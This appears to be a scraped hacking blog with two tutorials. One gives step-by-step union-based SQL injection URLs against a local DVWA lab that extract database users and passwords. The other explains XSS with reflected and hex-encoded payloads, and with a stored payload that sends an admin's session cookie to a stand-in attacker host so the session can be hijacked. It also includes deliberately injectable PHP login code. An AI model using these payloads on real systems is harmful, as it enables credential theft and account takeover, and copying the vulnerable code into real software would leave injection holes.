Fadu Hack

<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEhhIGp37fUqRR5-ojEVpBegr0i_PMAYkM4iKo1nKky2AIvp-yq-VY6q3aDWqmPTiMnRA33hPmg9jXmYKJoJD9YtDzw2uKoQ5a1405u7Vx7QGqOviZM1gDqvtLvPG47wDMSi2wwSqv38jqnB3eH6DPX8t3MHytuqI1yXKPaz-uk=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://sqlity.net/wp-content/uploads/2014/08/SQL_Injection.jpg" width="320" /></a><br />
Union Based  Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like bypass authentication method which we covered last time.<br />
The idea is to fetch the username and password of the website from admin,user or this kind of table from the database and use these credentials to login in the website.<br />
<br />
<b>We can do whole process on DVWA</b><br />
<h4 style="text-align: left;">
Steps Of  Union Base Injection</h4>
Step 1: Find any GET Method in the Website.<br />
<blockquote class="tr_bq">
GET : .php?id=10        POST : .php</blockquote>
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 2: Check exception handling in the website.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 3: Check total number of columns in the respective table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10' order by 1 --+Submit=Submit#</blockquote>
Step 4: Select a vulnerable column from the table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,2--+ &Submit=Submit#</blockquote>
Step 5: Check the database name<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select database(),2--+ &Submit=Submit#</blockquote>
Step 6: Check the Version of the database.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select version(),2--+ &Submit=Submit#</blockquote>
Step 7: Check the total number of tables in the database<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,table_name from information_schema.tables --+ &Submit=Submit#</blockquote>
Target Table : users<br />
<br />
Step 8 : Get the columns of the tabel users<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,column_name from information_schema.columns--+ &Submit=Submit#</blockquote>
where table_name='users'--+ &Submit=Submit#<br />
<br />
Target Columns : user and password<br />
<br />
Step 9 : Get the content of the user and password<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select user,password from users--+</blockquote>
</div>

Class Union Based Injection (100% Working)

Union Based Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like bypass authentication method which we covered last time. The idea …

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="http://virus.im/wp-content/uploads/2014/01/Xss-virus.jpg" /></div>
In this article we will see a different kind of attack called XXS attacks.<br />
<ul style="text-align: left;">
<li><b>XSS stands for Cross Site Scripting.</b></li>
</ul>
XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.<br />
<h2 style="text-align: left;">
Types of Cross Site Scripting</h2>
<h3 style="text-align: left;">
XSS attacks are broadly classified into 2 types:</h3>
<ol style="text-align: left;">
<li>Non-Persistent</li>
<li>Persistent</li>
</ol>
<h4 style="text-align: left;">
1. Non-Persistent XSS Attack</h4>
In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser. Let us understand this attack better with an example.<br />
<br />
<b>Example for Non-Persistent XSS</b><br />
<br />
index.php:<br />
<blockquote class="tr_bq">
<?php<br />
$name = $_GET['name'];<br />
echo "Welcome $name<br>";<br />
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";<br />
?></blockquote>
Example 1:<br />
Now the attacker will craft an URL as follows and send it to the victim:<br />
<blockquote class="tr_bq">
index.php?name=guest<script>alert('attacked')</script></blockquote>
When the victim load the above URL into the browser, he will see an alert box which says ‘attacked’. Even though this example doesn’t do any damage, other than the annoying ‘attacked’ pop-up, you can see how an attacker can use this method to do several damaging things.<br />
<br />
Example 2:<br />
For example, the attacker can now try to change the “Target URL” of the link “Click to Download”. Instead of the link going to “xssattackexamples.com” website, he can redirect it to go “not-real-xssattackexamples.com” by crafting the URL as shown below:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
In the above, we called the function to execute on “window.onload”. Because the website (i.e index.php) first echos the given name and then only it draws the <a> tag. So if we write directly like the one shown below, it will not work, because those statements will get executed before the <a> tag is echoed<br />
<blockquote class="tr_bq">
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script></blockquote>
Normally an attacker tends not to craft the URL which a human can directly read. So he will encode the ASCII characters to hex as follows.<br />
<blockquote class="tr_bq">
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e</blockquote>
which is same as:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
Now the victim may not know what it is, because directly he cannot understand that the URL is crafted and their is a more chance that he can visit the URL.<br />
<h4 style="text-align: left;">
2. Persistent XSS Attack</h4>
In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device (mostly on a database). The damage caused by Persistent attack is more than the non-persistent attack. Here we will see how to hijack other user’s session by performing XSS.<br />
<br />
<b>Session</b><br />
<br />
HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other. But most of the web application don’t need this. Once the user has authenticated himself, the web server should not ask the username/password for the next request from the user. To do this, they need to maintain some kind of states between the web-browser and web-server which is done through the “Sessions”.<br />
<br />
When the user login for the first time, a session ID will be created by the web server and it will be sent to the web-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” in the cookie.<br />
<h4 style="text-align: left;">
Examples for Persistent XSS Attack</h4>
This sample web application we’ve given below that demonstrates the persistent XSS attack does the following:<br />
<br />
There are two types of users: “Admin” and “Normal” user.<br />
When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name.<br />
<br />
login.php:<br />
<blockquote class="tr_bq">
<?php<br />
$Host= '192.168.1.8';<br />
$Dbname= 'app';<br />
$User= 'yyy';<br />
$Password= 'xxx';<br />
$Schema = 'test';<br />
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
/* Connect with database asking for a new connection*/<br />
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
/* Error checking the connection string */<br />
if (!$Connect) {<br />
 echo "Database Connection Failure";<br />
 exit;<br />
}<br />
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";<br />
$result=pg_query($Connect,$query);<br />
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);<br />
$user_pass = md5($_POST['pass_word']);<br />
$user_name = $row['user_name'];<br />
if(strcmp($user_pass,$row['password'])!=0) {<br />
 echo "Login failed";<br />
}<br />
else {<br />
 # Start the session<br />
 session_start();<br />
 $_SESSION['USER_NAME'] = $user_name;<br />
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";<br />
}<br />
?></blockquote>
home.php:<br />
<blockquote class="tr_bq">
<?php<br />
session_start();<br />
if(!$_SESSION['USER_NAME']) {<br />
 echo "Need to login";<br />
}<br />
else {<br />
 $Host= '192.168.1.8';<br />
 $Dbname= 'app';<br />
 $User= 'yyy';<br />
 $Password= 'xxx';<br />
 $Schema = 'test';<br />
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
 if($_SERVER['REQUEST_METHOD'] == "POST") {<br />
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";<br />
  pg_query($Connect,$query);<br />
  echo "Update Success";<br />
 }<br />
 else {<br />
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {<br />
   echo "Welcome admin<br><hr>";<br />
   echo "List of user's are<br>";<br />
   $query = "select display_name from $Schema.members where user_name!='admin'";<br />
   $res = pg_query($Connect,$query);<br />
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {<br />
    echo "$row[display_name]<br>";<br />
   }<br />
 }<br />
 else {<br />
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";<br />
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";<br />
  echo "<input type=\"submit\" value=\"Update\">";<br />
 }<br />
}<br />
}<br />
?></blockquote>
Now the attacker log-in as a normal user, and he will enter the following in the textbox as his display name:<br />
<blockquote class="tr_bq">
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape$document.cookie$\;\">My Name</a></blockquote>
The above information entered by the attacker will be stored in the database (persistent).<br />
<br />
Now, when the admin log-in to the system, he will see a link named “My Name” along with other usernames. When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin” until the session is expired. The cookie information will be something like the following:<br />
<blockquote class="tr_bq">
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3</blockquote>
Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege until PHPSESSID expires.<br />
<br />
To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.<br />
<br />
We’ll cover how to use “Tamper Data” in future article of this series.</div>

XSS Attack Examples (Cross-Site Scripting Attacks)

In this article we will see a different kind of attack called XXS attacks. XSS stands for Cross Site Scripting. XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability b…

Fadu Hack

Top Ad unit 728 Ã— 90

Class Union Based Injection (100% Working)

XSS Attack Examples (Cross-Site Scripting Attacks)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive